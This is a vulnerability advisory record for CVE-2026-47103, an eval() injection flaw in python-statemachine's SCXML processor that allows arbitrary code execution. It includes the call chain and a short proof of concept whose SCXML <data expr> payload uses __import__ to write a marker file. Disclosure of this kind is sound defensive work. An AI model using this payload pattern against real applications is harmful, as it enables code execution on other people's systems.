{"id":"CVE-2026-47103","aliases":["GHSA-v4jc-pm6r-3vj8","PYSEC-2026-506"],"url":"https://o3.security/vulnerability/CVE-2026-47103","summary":"Python StateMachine 3.0.0 < 3.2.0 RCE via SCXML eval() Injection","details":"### Summary\n\npython-statemachine 3.1.2 evaluates `<data expr=\"...\">` attributes in SCXML documents using Python's `eval()`. Any application that passes attacker-controlled SCXML content to `SCXMLProcessor` is vulnerable to arbitrary code execution in the context of the hosting process.\n\n### Details\n\n`SCXMLProcessor.parse_scxml_file()` processes SCXML documents and evaluates `<data>` element `expr` attributes via the following call chain:\n\n```\nSCXMLProcessor.parse_scxml_file()\nSCXMLProcessor.process_definition()\ncreate_datamodel_action_callable()\n_create_dataitem_callable()\n_eval()\neval()\n```\n\n`_eval()` calls Python's built-in `eval()` directly on the expression string without sandboxing or restriction.\n\n### PoC\n\n```\n1. Install:\n   pip install python-statemachine==3.1.2\n\n2. Create an SCXML file containing:\n   <data id=\"x\" expr=\"__import__('pathlib').Path('marker.txt').write_text('pwned')\"/>\n\n3. Run:\n   SCXMLProcessor.parse_scxml_file(DATA_EXPR_CHART)\n   SCXMLProcessor.start()\n\n4. During start(), <data expr> reaches _eval(), which calls eval().\n\n5. Result:\n   data_marker_before_start: False\n   data_marker_after_start: True\n   success: True\n```\n\n### Impact\n\nThis is an eval injection vulnerability (CWE-95). Remote or local code execution depending on whether the consuming application accepts SCXML content from remote users, uploaded files, configuration, plugins, or other untrusted sources.","published":"2026-06-17T14:32:08.180Z","modified":"2026-08-30T03:30:52.662789028Z","cvss":null,"epss":{"score":0.01363,"percentile":0.70208,"asOf":"2026-09-12"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"python-statemachine","fixedVersion":"3.2.0"}],"fix":null,"references":[{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/47xxx/CVE-2026-47103.json"},{"type":"ADVISORY","url":"https://github.com/fgmacedo/python-statemachine/releases/tag/v3.2.0"},{"type":"ADVISORY","url":"https://github.com/fgmacedo/python-statemachine/security/advisories/GHSA-v4jc-pm6r-3vj8"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47103"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/python-statemachine-rce-via-scxml-eval-injection"},{"type":"PACKAGE","url":"https://github.com/fgmacedo/python-statemachine"},{"type":"EVIDENCE","url":"https://github.com/SaiTeja-Erukude/CVE-2026-47103-python-statemachine-rce"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-30T03:30:52.662789028Z"}}